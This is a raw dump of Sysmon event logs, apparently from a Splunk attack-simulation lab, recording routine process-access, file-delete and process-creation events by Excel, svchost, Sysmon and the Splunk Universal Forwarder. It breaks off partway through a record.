10341000x800000000000000055670Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:30.881{7BD73061-727B-613B-4A0B-00000000F001}62764656C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE{7BD73061-6D0E-613B-8906-00000000F001}3192C:\Windows\System32\rdpclip.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+52cbf|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+52c5a|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+52bd6|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+5259d|C:\Windows\System32\USER32.dll+121e4|C:\Windows\System32\USER32.dll+11b2c|C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE+5f3b1|C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE+b0354|C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE+5b3dd|C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE+cc39|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000055669Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:30.781{7BD73061-727B-613B-4A0B-00000000F001}62764656C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE{7BD73061-6D0E-613B-8906-00000000F001}3192C:\Windows\System32\rdpclip.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+52cbf|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+52c5a|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+52bd6|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+5259d|C:\Windows\System32\USER32.dll+121e4|C:\Windows\System32\USER32.dll+11b2c|C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE+5f3b1|C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE+111bb05|C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE+111b025|C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE+15155fa|C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE+151174a|C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE+150df75|C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE+b2147|C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE+609df|C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE+221ee8|C:\Windows\System32\USER32.dll+121e4|C:\Windows\System32\USER32.dll+11b2c|C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE+5f3b1|C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE+b0354|C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE+5b3dd|C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE+cc39|C:\Windows\System32\KERNEL32.DLL+84d4 23542300x800000000000000055668Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:30.299{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D325B63AE629A2C5B0F090AC39FB8145,SHA256=DAAAB50FFAE13ACF9AA7C8E0E0E4C0D349AF5B38358903BCEE4A80F3AD405DC6,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017765Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:30.556{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B2B4E59FCDDBB2B533EA7DF9594C61EE,SHA256=862BE64CCC0A2AAACFC2BA4F8FE9C17BE28DCF881D86573A6686988C30F6CE4A,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000055667Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:30.003{7BD73061-664E-613B-B000-00000000F001}4184NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeC:\Program Files\SplunkUniversalForwarder\var\run\serverclass.xmlMD5=086DB1CFB481058C3EF9F48D868FE74F,SHA256=BB95DB224236BED3122F53106B6D7A2930FE56435B98D0E225AAE99BDF5D7CF8,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000017779Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:31.606{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-7477-613B-2F05-00000000F101}2376C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017778Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:31.606{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017777Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:31.606{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017776Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:31.606{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017775Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:31.606{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017774Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:31.606{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017773Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:31.606{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017772Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:31.606{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017771Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:31.606{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017770Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:31.606{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017769Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:31.606{625C326B-67EC-613B-0500-00000000F101}412528C:\Windows\system32\csrss.exe{625C326B-7477-613B-2F05-00000000F101}2376C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000017768Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:31.606{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-7477-613B-2F05-00000000F101}2376C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000017767Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:31.607{625C326B-7477-613B-2F05-00000000F101}2376C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe10.0.10011.16384SplunkMonNoHandle Control ProgramWindows (R) Win 7 DDK driverWindows (R) Win 7 DDK providerSplunkMonNoHandle.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000017766Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:31.559{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F5D4992B89E1A627AC29869ACA119D1E,SHA256=AF00F5E1673EC37E77208BF020C81942F6B69332FE448C1474FD2D60586FCCF3,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000055671Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:31.327{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=080EDE3CB32A83EF3DAC551736A75D98,SHA256=66726D33F57E76F625FCD1132A0A7DBBAF0F24FA57ADB21391BEAE902586DA47,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017809Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:32.778{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=976617992C9569229E46618732EF86E8,SHA256=C69555650772CA522C3FE035B68A8E2420A2B2D4744D1B0B84FEF29AC579C710,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000017808Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:32.778{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=7E19F4469F5A8D38E8DBA326F41CA7FE,SHA256=043DC18FCAD50F1D33F00640AE0C37F71E552D325CD8FC2B16F22FACEFA929C5,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000017807Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:32.778{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=55A87EF842710577699BC6445AE0E9B2,SHA256=06B1E16B242F4AE1229CA8CBB06CF852553826B3769693EA0C2782933E5C3816,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000017806Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:32.606{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-7478-613B-3105-00000000F101}2592C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017805Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:32.606{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017804Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:32.606{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017803Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:32.606{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017802Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:32.606{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017801Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:32.606{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017800Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 